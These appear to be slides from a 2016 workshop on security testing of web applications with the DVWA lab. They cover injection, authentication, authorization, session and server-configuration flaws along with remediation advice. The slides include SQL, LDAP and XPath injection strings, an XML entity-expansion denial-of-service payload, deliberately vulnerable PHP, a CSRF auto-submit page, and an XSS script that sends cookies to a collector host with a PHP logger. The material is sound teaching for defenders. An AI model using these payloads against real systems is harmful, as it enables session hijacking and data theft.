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Security Basics for Application Testing

TAPOST 2016

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and
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Today

- Intro
- Setup
- Workshop
  - Injection Flaws
  - Authentication Issues
  - Authorization Issues
  - Session Management
  - Web Server Configuration
  - Business Logic
- Some Great Tools
- Conclusions / Q&A

Intro

- Functional testing vs Security testing
  - Functional testing – will it break?
  - Security testing – how can I benefit from this?
- The right mindset
- Anyone can do it

Typical Setup

- Web Proxy like Burp Suite or ZAP
- Guidelines/checklist like OWASP Guide v4



Damn Vulnerable Web App (DVWA)

- Access the application on the IP provided by the virtual web server
- Log in with ‘admin:password’
- Go to the ‘Setup/Reset DB’ page and click the ‘Create / Reset Database’ button
- Go to ‘DVWA Security’, change level to ‘Low’ (or ‘Medium’, if you like a challenge) and click ‘Submit’.
- You can come back to ‘DVWA Security’ and set the security level to ‘Impossible’ to see how the vulnerability in question should be effectively remediated.

Burp Proxy

- In Firefox go to ‘Options’->’Advanced’->’Network’->’Settings’



Burp Proxy

- In Burp go to the ‘Proxy’ tab and the ‘Options’ section. Configure a proxy listener:





Injection flaws

- SQL injection
- SQL injection (Blind)
- Cross-site Scripting (reflected)
- Cross-site Scripting (stored)
- OS command
- Others to be mentioned: XML, LDAP

SQL Injection

- User-controlled input that enables the attacker to interact with the application's back-end database (DB) in non-intended ways.
- This could lead to user account compromise, extraction of sensitive data or denial of service.
- Common causes:
  - Lack of validation and sanitization
  - No prepared statements (bind queries) used
  - Principle of least privilege not applied
- Examples in code:

SQL Injection - Examples

$username = $_POST['username'];

$query = " SELECT * FROM Users WHERE username = '$username';";

$username="Bob";

$query="SELECT * FROM Users WHERE username='Bob';";

$username="Bob' AND DoB='11111918";

$query=" SELECT * FROM Users WHERE username='Bob' AND DoB='11111918';";

SQL Injection - Examples









SQL Injection – Authentication Bypass

$username=$_POST[‘username’];

$password=$_POST[‘password’];

$query=“SELECT * FROM users WHERE username=‘$username’ AND password=‘$password’;”;

$username=“Bob’ OR username=‘Alice’--”

$query=“SELECT * FROM users WHERE username=‘Bob’ OR username=‘Alice’--’;”

SQL Injection – Authentication Bypass













SQL Injection – Data Theft

$company=$_POST[‘company’];
$query=“SELECT name,lastname,DoB FROM users WHERE company=‘$company’;”;

$company=“Accenture’ UNION SELECT password FROM users WHERE ‘1’=‘1”
$query=“ SELECT name,lastname,DoB FROM users WHERE company=‘Accenture’ UNION SELECT password FROM users WHERE ‘1’=‘1’;”;

- The query above will fail. Why? Count the columns.

$company= Accenture’ UNION SELECT null,null,password FROM users WHERE ‘1’=‘1”
$query=“ SELECT name,lastname,DoB FROM users WHERE company=‘Accenture’ UNION SELECT null,null,password FROM users WHERE ‘1’=‘1’;”;

SQL Injection – Data Theft















SQL Injection - Blind

- Uses true and false statement outcomes

  e.g. true=>successful query; false=>error message
- Retrieve information about data

  e.g. Is the first character of the user's password 'a'?
- Very slow data theft
- $DoB="18111918' AND password LIKE 'a%";

  $query="SELECT * FROM users WHERE DoB='18111918' AND password LIKE '%a';"

SQL Injection - Blind













SQL Injection – Second Order

- Execute a query when the injected value is used in future queries.
- $query="INSERT INTO users (name) VALUES ('$name');"

  $name="Bob'--"

  $query2="UPDATE users SET password='$password' WHERE name='$name' AND password='$old_password';"

  $name2="Bob'--"

  $query2="UPDATE users SET password='$password' WHERE name='Bob'-- AND password='$old_password';"

SQL Injection – Second Order



















SQL Injection – Second Order











SQL Injection – Second Order

```php
if (isset($_POST['submit'])) {

    #Use prepared statement here, so that the name can be injected without triggering SQL execution;
    $stmt = $db2->prepare("SELECT * FROM users WHERE username=:name") or die("Cannot prepare statement.");
    $stmt->bindValue(':name', $name);
    $stmt->execute();
    if ($stmt->rowCount()<1) {
        #Use prepared statement here, so that the name can be injected without triggering SQL execution;
        $stmt = $db2->prepare("INSERT INTO Users(username,name,password) VALUES(:name,:name,'password2')") or die("Cannot prepare statement.");
        $stmt->bindValue(':name', $name);
        $stmt->execute();
        if ($stmt->rowCount()<1) {
            echo "Something went wrong with the query.<br />";
```

```php
} elseif (isset($_POST['change'])) {
    if (isset($_POST['old_password'])){
        $old_pass=$_POST['old_password'];
    } else {
        $old_pass="";
    }

    $query="UPDATE users SET password='$password' WHERE name='".$_SESSION['username']."' AND password='$old_pass'";
    $res=mysql_query($query, $db);
    $success=mysql_affected_rows($db);
    if ($success<1) {
        echo "Something went wrong with the query.<br />";
?>
```

Remediation

- Validate and sanitise all external data, rejecting all inputs that do not comply with the format of expected data. Use a web development framework for validation and sanitisation.
- Use prepared statements and parametrized queries to communicate with the back-end DB.
- Make sure the application accesses the DB with as little privilege as is absolutely necessary to make the application work.

Cross-Site Scripting (XSS)

- Execute arbitrary JavaScript in an application user's browser as if it is a part of the application.
- The attack enables website defacement, malware distribution, session hijacking, compromise of credentials and sensitive data.
- Common causes
  - Lack of input validation and sanitization
  - Lack of encoding of dynamic output
  - CORS misconfiguration
  - Cookie misconfiguration
- Examples in Code:

XSS - Examples

- <form method="POST" action="xss.php" id="myform"><input name="yourname" />

<input type="submit" value="Submit" />

<form>

```
<?php
if (isset($_POST['yourname']))
{
     echo "<p>Greetings, ".$_POST['yourname']." !!";
}
?>
```

- $_POST[‘yourname’]=“<script>alert(‘XSS’)</script>”

Greetings, <script>alert(‘XSS’)</script> !!

XSS - Examples





XSS – Stealing Cookies

- <script>alert(document.domain)</script>
- <script>alert(document.cookie)</script>





XSS - Exfiltration

- <script>document.createElement('img').setAttribute('src','http://127.0.0.1:1337/exfil.php?cookie='+document.cookie)</script>
- <?php

```
if isset($_GET['cookie']) {
    $myfile = fopen("cookiefile.txt", "w");
    fwrite($myfile, $_GET['cookie']);
    fclose($myfile);
}
?>
```

XSS - Exfiltration

- The source of the image could be a third-party site under an attacker's control.



XSS - Exfiltration

- Note that the user is not alerted that their cookie has been sent offsite



- If a ‘GET’ request is used instead of a ‘POST’ by the form on ‘xss.php’, a user can be sent a link to the page that contains the crafted payload.
- Further obfuscation and stealth techniques, such as encoding, can be used to disguise XSS payloads in URLs
- Even if a ‘POST’ request is used, an attack is still possible.

XSS – Stored/Persistent

- The XSS payload is stored in the DB and is executed every time someone visits a page where the data is used.







Remediation

- Validate and sanitize all external input, rejecting everything that doesn’t fit the format of expected data. Modern frameworks take care of this in a consistent way.
- Encode all dynamic output to all application pages to prevent the browser from executing any HTML or JavaScript within. Modern frameworks take care of this in a consistent way.
- Configure cookies and session tokens to be ‘HttpOnly’.

Command Injection

- Execution of arbitrary shell/system commands on the application host.
- The attack can have dire consequences, including denial of service, compromise of the application host, the back end database and potentially other hosts on the adjacent network.
- Common causes:
  - Lack of input validation
  - Lazy programming
  - Applications running with high privileges on the host
- Examples:

Command Injection - Examples









Command Injection – Path Traversal

- Traversing directories in the file system to access system files not intended for access by the application.







Remediation

- Use safe functionality to interact with the application host, e.g. use file system APIs to read and write documents or files.
- Sanitise user input, rejecting anything that does not adhere to the expected format.
- Ensure that the application does not have excessive privileges on the web server.
- Have a robust permissions model on the application host to ensure that the application cannot access system files.

Other Types of Injection

- XML
  - Xpath Injections – Xpath is used to query XML documents; injecting xpath expressions is conceptually similar to SQL injections; and parametrized interfaces are available for remediation

    Employee[UserName/text()='test' or 1=1 or 'a'='a' And Password/text()='test']
  - Entity expansions – denial of service oriented attacks that use recursive references to external entities to be processed by XML parsers:

<!DOCTYPE foobar [<!ENTITY x "AAAAA… [100KB of them] … AAAA">]>

<root>

<hi>&x;&x;….[30000 of them] … &x;&x;</hi>

</root>
  - Common causes:
    - Misconfigured XML parsers
    - Lack of user input validation/sanitisation
    - Misconfigured access permissions on the application host

Other Types of Injection

- LDAP – Lightweight Directory Access Protocol
  - Applications that interact with LDAP to provide access control or retrieve data may be susceptible to malicious modifications of LDAP statements
  - LDAP statements are essentially a query language, therefore attacks are conceptually similar to SQL injection
    - “(user=" + userName.Text + “);”
    - userName.Text=Marley, Bob
    - userName.Text=Marley, Bob)(|(objectclass=*
  - Common causes:
    - Lack of validation/sanitisation
    - Excessive application privileges on the LDAP directory

Exercises

- Damn Vulnerable Web App
  - SQL Injection
  - XSS Reflected
  - Command Injection

Authentication Issues

- Weak Credentials
- Bad Password Recovery System
- Login Page Issues

Weak Credentials

- Weak password requirements – Users will choose to set weaker passwords, if allowed
- Policy enforced on client side only
- Predictable usernames and passwords, such as incremental ID based usernames and dictionary passwords
- Strong password policy example – 8 characters minimum length; no or high upper limit; mix of at least 3 different types of characters – uppercase, lowercase, numeric and ideally special characters; no common/guessable words; not the same as username; password history of at least 10 cycles

Weak Credentials – Client-side Validation

- Test:test





Weak Credentials – Client-side Validation

- Test:testtest



- Test:testtest1



Weak Credentials – Client-side Validation











Weak Credentials – Server-side Validation

- Note the logic weakness – a password that only contains numbers would pass the validation check

```php
if (isset($_POST['password'])) {
    $password=$_POST['password'];
    if (strlen($password)>=8 && preg_match('~[0-9]~', $password)===1) {
        $password_valid=true;
    }
```

```php
if (isset($_POST['submit'])) {
    $stmt = $db2->prepare("SELECT * FROM users WHERE username=:name") or die("Cannot prepare statement.");
    $stmt->bindValue(':name', $name);
    $stmt->execute();
    if ($stmt->rowCount()<1 && $password_valid) {
        $stmt = $db2->prepare("INSERT INTO Users(username,name,password) VALUES(:name,:name,:password)") or die("Cannot prepare statement.");
```

Weak Credentials – Server-side Validation





Password Recovery

- Weak authentication – the application does not ask for enough details to verify the legitimacy of the reset requestor
- Insecure delivery method – the application returns the user's password on screen or sends it in plaintext over email
- Logic bypass – some stages of the recovery process can be bypassed; for example by browsing to the success page and skipping the security questions
- Security question guessing or brute-force – Remember why adding your mother and your dog on Facebook was a bad idea?
- Password recovery link/token weaknesses – predictable, easy to brute-force, reusable

Login

- Username enumeration – authentication error message reveals, whether the username or the password were incorrect
- No brute-force protection – an attacker can guess the password an unlimited number of times or configure an automated brute-force attack
- Account lockout response – a lockout response after several unsuccessful attempts reveals whether the username is registered with the application, as no lockout response occurs for a non-existent username; furthermore, a lockout response can reveal the duration of the lockout, allowing to configure a delayed automatic attack
- Account lockout denial of service – an attacker can remotely cause for user accounts to be locked out. If the accounts do not automatically re-activate, victim users cannot access the application

Username Enumeration











Remediation

- Careful and thoughtful design of authentication and password recovery mechanisms with security in mind.
- Enforcing rules and policies on the server side.
- Using generic non-descriptive messages, such as “authentication failed”.
- Using secure password delivery methods or use of temporary passwords.

Exercises

- Damn Vulnerable Web App
  - Brute Force

Exercises – Brute Force



Exercises – Brute Force





Exercises – Brute Force



Exercises – Brute Force



Authorization Issues

- Forced Browsing
- File Inclusion
- Parameter Manipulation
- Cross-Site Request Forgery
- Directory/File brute force

Forced Browsing

- An application user is able to access an area of the application that should not be available to them by simply browsing to the page URL.
- Horizontal privilege escalation – e.g. being able to access another user's profile details by changing the user id in the URL
- Vertical privilege escalation – e.g. being able to access an administrative area by browsing to http://example.com/admin/, even though this page is not linked to by any other area available to you
- File inclusion – direct browsing to unlisted resources, such as files, by guessing their names
- Common causes and facilitators:
  - The application does not check the requestor id for whether or not they are allowed to view the requested data
  - The application does not perform authorization checks (check requestor id) when accessing 'hidden' pages
  - The application reveals the existence of sensitive areas, such as /admin/, in the source code (e.g. the /admin/ page is commented out in HTML, if the logged in user is not an admin)
- Remediation
  - The application should check the requestor's authorization to view the requested data consistently on every request
  - The application should check authorization even on seemingly 'impossible' requests
  - The application should not rely on 'security through obscurity'

Parameter Manipulation

- A user is able to intercept a request for data or resource and manipulate the identification or reference used to request the resource. As a result they may be able to access resources they are not authorized for.
- Similarly a user may be able to manipulate a cookie value or a hidden login field to change their user role in the application, e.g. setting ‘isAdmin’ to true
- Common causes:
  - The application exposes resource IDs or references in application requests as hidden field values or otherwise
  - The application does not verify if the requestor has the authorization to access the requested resource
  - Resource IDs and references are predictable or guessable, such as incremental ID numbers
- Remediation:
  - Use random or hashed values for accessing sensitive resources
  - Perform authorization checks even on seemingly ‘impossible’ requests
  - Avoid exposing resource IDs and References on the client-side to prevent manipulation

Parameter Manipulation - Example









Parameter Manipulation - Example











Parameter Manipulation - Examples




```
POST /parameter-manipulation.php HTTP/1.1
Host: 127.0.0.1:1337
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:1337/parameter-manipulation.php
Cookie: SecretSessionToken=UseThisToAccessBankDetails; PHPSESSID=jrmshghbr5poualgfmqb434ia3
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 37

resource_id=1&show=Show+Me+My+Text%21
```





Parameter Manipulation - Example







Parameter Manipulation - Example









Cross-Site Request Forgery (CSRF)

- An attack in which an attacker tricks a user, who is authenticated with the target application, to visit a page that submits a request to the application on behalf (and with the privileges) of the authenticated user.
- This type of attack can be used to add or remove data from the application or perform administrative actions, such as changing application settings, if an administrator is successfully targeted
- The attack can also be used to inject malicious content, such as XSS payloads, into the application on behalf of legitimate users
- A level of social engineering is usually required
- Common causes:
  - The application does not verify that the request comes from the application's domain
- Remediation:
  - Cross-Origin Resource Sharing (CORS) policies
  - Use of unique non-guessable secret tokens only generated on application pages to ensure that the request originates from a legitimate application page and is deliberately submitted. These can be implemented as cookies or hidden form fields
  - Use of hard-to-guess request structures and parameter values when submitting forms or otherwise issuing create/update/delete requests to the application

CSRF - Example













CSRF - Example

- An attacker can make the page below and trick Bob into visiting it

```
1  <html>
2    <body>
3      <form id="1" action="http://127.0.0.1:1337/csrf.php" method="POST">
4        <input type="hidden" name="text" value="I am Bob's CRSF-updated resource!" />
5        <input type="hidden" name="update" value="" />
6      </form>
7    </body>
8    <script>
9    document.forms[0].submit();
10   </script>
11 </html>
```

- Bob has to be logged into the application



CSRF - Example

- When Bob visits the page, the request is submitted to the application on his behalf





- Note there is no ‘Referer’ header. We can now check that the update actually took place:







CSRF and XSS

- The injected text could have been an XSS payload
- An unauthenticated attacker cannot update a user's saved Text normally, but they can with a CSRF attack – introducing an unauthenticated code injection vector
- Stored XSS – the attack would launch every time the user accesses their saved text
- Difficulties – the attacker needs to trick users who are logged in to the application; the attacker needs to know or guess the request structure

Directory/File Brute Force

- An attacker is able to use wordlists and lists of known default resources to find test files, installation files, backups and other content that is not intended for access via the application
- Tools such as DirBuster/ZAP or Nikto can be used, as they have lists of common directory and file names, as well as files relevant to frameworks and other application software
- Common causes:
  - Reliance on ‘security through obscurity’ – what cannot be seen, cannot be found
  - Default installation files and test files not removed from the production server
  - Backups stored on the same host as the application
  - Access control misconfiguration – application users should not be able to access non-application files on the server

Directory/File Brute Force - Example





Directory/File Brute Force - Example





Exercises

- Damn Vulnerable Web App
  - File Inclusion
  - CSRF – note that this is also a ‘password change mechanism’ issue

Exercises - CSRF





Session Management

- Cookie Attributes
- Exposed Session Variables
- Session Fixation
- Logout functionality issues
- Session Timeout

Cookies

- Access to a session token means session hijacking, especially, if the token has a long lifetime.
- Secure – an option that does not allow for sensitive cookies and session tokens to be sent over unencrypted channels. For example, in redirection or SSL stripping attacks.
- HttpOnly – an option that mitigates the effect of XSS attacks by preventing JavaScript from accessing sensitive cookies and session tokens.
- Set-Cookie: session=xxxxx; path=/; secure; httponly

Cookies – XSS Without HTTPOnly





Cookies – XSS With HTTPOnly





Session Token Exposure

- In URLs when sent as part of a GET request
- URLs get logged by intermediary proxies more easily, even if encrypted with SSL/TLS
- Man-in-the-middle or SSL Stripping attacks defeat the protection of SSL
- Session tokens may also be exposed in hidden form fields on the login page
- Mitigation:
  - It is best to use a framework-based cookie-less session management mechanism
  - or transmit session tokens in cookies,
  - making sure the cookies are securely configured and
  - the tokens are non-predictable and
  - don’t contain sensitive information, such as usernames

Session Fixation

- In this attack, an attacker-specified cookie is submitted during a legitimate application user's login request, is validated and used by the application to maintain an authenticated session
- As a result, the attacker can hijack the user's authenticated session, because the session token is known
- Mitigation:
  - Do not re-use unauthenticated tokens to maintain authenticated sessions
  - Always generate a new session token after successful authentication
  - Ignore tokens supplied during authentication

Logout Functionality

- Session remains active after logout
- For example, the user gets redirected to a logout page, but the browser's 'back' button can be used to return to the authenticated content and functionality
- Inadequate caching directives can cause a similar issue, but only the last page before logout occurred will be available
- Mitigation:
  - Always invalidate the session token on server side when logout is initiated

Logout - Example









Logout - Example











Session Timeout

- The session token remains valid for extended periods of time
- This facilitates session hijacking attacks
- It may also be useful for attackers in shared computing environments with the victim – if a user forgets to log out, their session does not automatically expire, leaving a wide attack window
- Look out for the ‘Expires’ option on the cookie – it should be set to Session or a reasonably short amount of time
- Mitigation:
  - Sensitive applications should expire the session in 15-20 minutes of inactivity
  - Session tokens should get regenerated periodically even during an active session to reduce the attack window for session hijacking with stolen or leaked tokens

Exercises

- What is the session token of Damn Vulnerable Web App?
- What options does it have set?
- What options is it missing?

Web Server Configuration

- SSL/TLS Configuration
- Web Server Headers
- Directory listing
- Forgotten test, backup files
- Outdated software / known vulnerabilities

SSL/TLS Configuration

- Keeping track of new SSL/TLS flaws and updates on the most secure recommended configuration is next to impossible
- Heartbleed, POODLE, BEAST, FREAK and many more
- Common issues:
  - Weak protocol – SSLv2, SSLv3, TLSv1
  - Weak cipher suites – RC4/MD5, DES-CBC3 (keylength downgrade), CBC ciphers + SSLv3 (POODLE)
  - Cipher configuration - No perfect forward secrecy (PFS)
  - Protocol configuration - No secure renegotiation or compression enabled
- Man-in-the-Middle (MITM) position usually required for exploitation
- Successful exploitation is highly complex
- Clients cannot always disable vulnerable ciphers – sometimes legacy clients need to connect

SSL Cipher Suite Enum and SSLScan

- https://labs.portcullis.co.uk/tools/ssl-cipher-suite-enum/
- http://www.michaelboman.org/books/sslscan, output examples at http://www.linux-magazine.com/Issues/2014/163/Charly-s-Column-SSLScan

SSL Cipher Suite Enum - Example

```
$ ssl-cipher-suite-enum.pl 127.0.0.1
Starting ssl-cipher-enum v0.4-beta ( https://labs.portcullis.co.uk/application/ssl-cipher-suite-enum/ ) at Tue Jul  3 14:48:21 2012

[+] Scanning 1 hosts

=== Scan Info ===

Target:    127.0.0.1
IP:        127.0.0.1
Port:      443
Protocols: SSLv2.0,SSLv3.0,TLSv1.0,TLSv1.1,TLSv1.2
Scan Rate: unlimited

=== Testing protocol SSLv2.0 ===

[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 RC4_128_WITH_MD5[010080] SSL2_INSEC,NO_PFS
[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 RC4_128_EXPORT40_WITH_MD5[020080] SSL2_INSEC,NO_PFS,WEAK_ENC
[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 RC2_128_CBC_WITH_MD5[030080] SSL2_INSEC,BEAST,NO_PFS
[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 RC2_128_CBC_EXPORT40_WITH_MD5[040080] SSL2_INSEC,BEAST,NO_PFS,WEAK_ENC
[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 DES_64_CBC_WITH_MD5[060040] SSL2_INSEC,BEAST,NO_PFS,WEAK_ENC
[+] Cipher suite supported on 127.0.0.1:443: SSLv2.0 DES_192_EDE3_CBC_WITH_MD5[0700c0] SSL2_INSEC,BEAST,NO_PFS
[+] 6 SSLv2.0 cipher suites supported

[V] 127.0.0.1:443 - Some clients could be vulnerable to BEAST attack - if HTTPS service
[V] 127.0.0.1:443 - Some connections might be protected with a weak (<128-bit) symmetric encryption key

=== Testing protocol SSLv3.0 ===

[+] 0 SSLv3.0 cipher suites supported

=== Testing protocol TLSv1.0 ===

[+] 0 TLSv1.0 cipher suites supported

=== Testing protocol TLSv1.1 ===

[+] 0 TLSv1.1 cipher suites supported

=== Testing protocol TLSv1.2 ===

[+] 0 TLSv1.2 cipher suites supported

[+] Summary of support cipher suites for 127.0.0.1:443

SSLv2.0:
* RC4_128_WITH_MD5
```

```
SSLv2.0:
* RC4_128_WITH_MD5
* RC4_128_EXPORT40_WITH_MD5
* RC2_128_CBC_WITH_MD5
* RC2_128_CBC_EXPORT40_WITH_MD5
* DES_64_CBC_WITH_MD5
* DES_192_EDE3_CBC_WITH_MD5

[+] Summary of weakness "BEAST" for 127.0.0.1:443

SSLv2.0:
* RC2_128_CBC_WITH_MD5
* RC2_128_CBC_EXPORT40_WITH_MD5
* DES_64_CBC_WITH_MD5
* DES_192_EDE3_CBC_WITH_MD5

[+] Summary of weakness "NO_PFS" for 127.0.0.1:443

SSLv2.0:
* RC4_128_WITH_MD5
* RC4_128_EXPORT40_WITH_MD5
* RC2_128_CBC_WITH_MD5
* RC2_128_CBC_EXPORT40_WITH_MD5
* DES_64_CBC_WITH_MD5
* DES_192_EDE3_CBC_WITH_MD5

[+] Summary of weakness "SSL2_INSEC" for 127.0.0.1:443

SSLv2.0:
* RC4_128_WITH_MD5
* RC4_128_EXPORT40_WITH_MD5
* RC2_128_CBC_WITH_MD5
* RC2_128_CBC_EXPORT40_WITH_MD5
* DES_64_CBC_WITH_MD5
* DES_192_EDE3_CBC_WITH_MD5

[+] Summary of weakness "WEAK_ENC" for 127.0.0.1:443

SSLv2.0:
* RC4_128_EXPORT40_WITH_MD5
* RC2_128_CBC_EXPORT40_WITH_MD5
* DES_64_CBC_WITH_MD5

=== Scan Complete ===

[+] ssl-cipher-enum v0.4-beta completed at Tue Jul  3 14:48:22 2012.  918 connections in 1 secs.
```

SSLScan - Example

```
# sslscan 10.122.148.72
Version: 1.11.7-static
OpenSSL 1.0.2i-dev  xx XXX xxxx

Testing SSL server 10.122.148.72 on port 443

  TLS Fallback SCSV:
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 1024 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256        DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256        DHE 1024 bits
Preferred TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA         Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA         Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits
Preferred TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA         Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA         Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048
```

```
Server supports TLS Fallback SCSV

  TLS renegotiation:
Secure session renegotiation supported

  TLS Compression:
Compression disabled

  Heartbleed:
TLS 1.2 not vulnerable to heartbleed
TLS 1.1 not vulnerable to heartbleed
TLS 1.0 not vulnerable to heartbleed

  Supported Server Cipher(s):
Preferred TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA          Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-SHA256       Curve P-256 DHE 256
Accepted  TLSv1.2  256 bits  ECDHE-RSA-AES256-SHA384       Curve P-256 DHE 256
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-GCM-SHA256     DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-GCM-SHA384     DHE 1024 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits
Accepted  TLSv1.2  128 bits  DHE-RSA-AES128-SHA256        DHE 1024 bits
Accepted  TLSv1.2  256 bits  DHE-RSA-AES256-SHA256        DHE 1024 bits
Preferred TLSv1.1  128 bits  ECDHE-RSA-AES128-SHA         Curve P-256 DHE 256
Accepted  TLSv1.1  256 bits  ECDHE-RSA-AES256-SHA         Curve P-256 DHE 256
Accepted  TLSv1.1  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.1  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits
Preferred TLSv1.0  128 bits  ECDHE-RSA-AES128-SHA         Curve P-256 DHE 256
Accepted  TLSv1.0  256 bits  ECDHE-RSA-AES256-SHA         Curve P-256 DHE 256
Accepted  TLSv1.0  128 bits  DHE-RSA-AES128-SHA           DHE 1024 bits
Accepted  TLSv1.0  256 bits  DHE-RSA-AES256-SHA           DHE 1024 bits

  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  lamp
Altnames: DNS:lamp, DNS:localhost
Issuer:   lamp

Not valid before: Jul 19 15:22:52 2016 GMT
Not valid after:  Jul 19 15:22:52 2026 GMT
```

Web Server Headers

- Caching directives – prevent browsers and proxies from storing sensitive/authenticated content
  - Cache-control: no-cache, no-store, must-revalidate
  - Expires: -1
  - Pragma: no-cache
- Security headers:
  - X-Frame-Options
  - X-XSS-Protection
  - X-Content-Type-Options
  - Content-Security-Policy
  - Access-Control-
- Information Leakage
  - X-Powered-By
  - Server

Web Server Headers - Example

```
HTTP/1.1 200 OK
Date: Wed, 10 Aug 2016 06:37:49 GMT
Server: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.5.37
X-Powered-By: PHP/5.5.37
Set-Cookie: PHPSESSID=mar4a1v3d3b0n4n0b2m2u1ue1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 434
Connection: close
Content-Type: text/html
```



Web Server Headers - Example



https://www.cvedetails.com/vulnerability-list.php?vendor_id=74&product_id=128&version_id=200308&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&o

CVE Details
The ultimate security vulnerability datasource

(e.g.: CVE-2009-1234 or 2010-1234 or 20101234) Search View CVE

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PHP » PHP » 5.5.37 : Security Vulnerabilities

Cpe Name:*cpe:/a:php:php:5.5.37*

CVSS Scores Greater Than: 0 1 2 3 4 5 6 7 8 9

Sort Results By : CVE Number Descending CVE Number Ascending CVSS Score Descending Number Of Exploits Descending

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#	CVE ID	CWE ID	# of Exploits	Vulnerability Type(s)	Publish Date	Update Date	Score	Gained Access Level	Access	Complexity	Authentication	Conf.	Integ.	Avail.
1	CVE-2016-6288	119		DoS Overflow	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
The php_url_parse_ex function in ext/standard/url.c in PHP before 5.5.38 allows remote attackers to cause a denial of service (buffer over-read) or possibly have unspecified other impact via vectors involving the smart_str data type.														
2	CVE-2016-6290	416		DoS	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
ext/session/session.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 does not properly maintain a certain hash data structure, which allows remote attackers to cause a denial of service (use-after-free) or possibly have unspecified other impact via vectors related to session deserialization.														
3	CVE-2016-6291	119		DoS Overflow Mem. Corr. +Info	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
The exif_process_IFD_in_MAKERNOTE function in ext/exif/exif.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 allows remote attackers to cause a denial of service (out-of-bounds array access and memory corruption), obtain sensitive information from process memory, or possibly have unspecified other impact via a crafted JPEG image.														
4	CVE-2016-6294	125		DoS	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
The locale_accept_from_http function in ext/intl/locale/locale_methods.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 does not properly restrict calls to the ICU uloc_acceptLanguageFromHTTP function, which allows remote attackers to cause a denial of service (out-of-bounds read) or possibly have unspecified other impact via a call with a long argument.														
5	CVE-2016-6295	416		DoS	2016-07-25	2016-08-04	7.5	None	Remote	Low	Not required	Partial	Partial	Partial
ext/snmp/snmp.c in PHP before 5.5.38, 5.6.x before 5.6.24, and 7.x before 7.0.9 improperly interacts with the unserialize implementation and garbage collection, which allows remote attackers to cause a denial of service (use-after-free and application crash) or possibly have unspecified other impact via crafted serialized data, a related issue to CVE-2016-5773.														
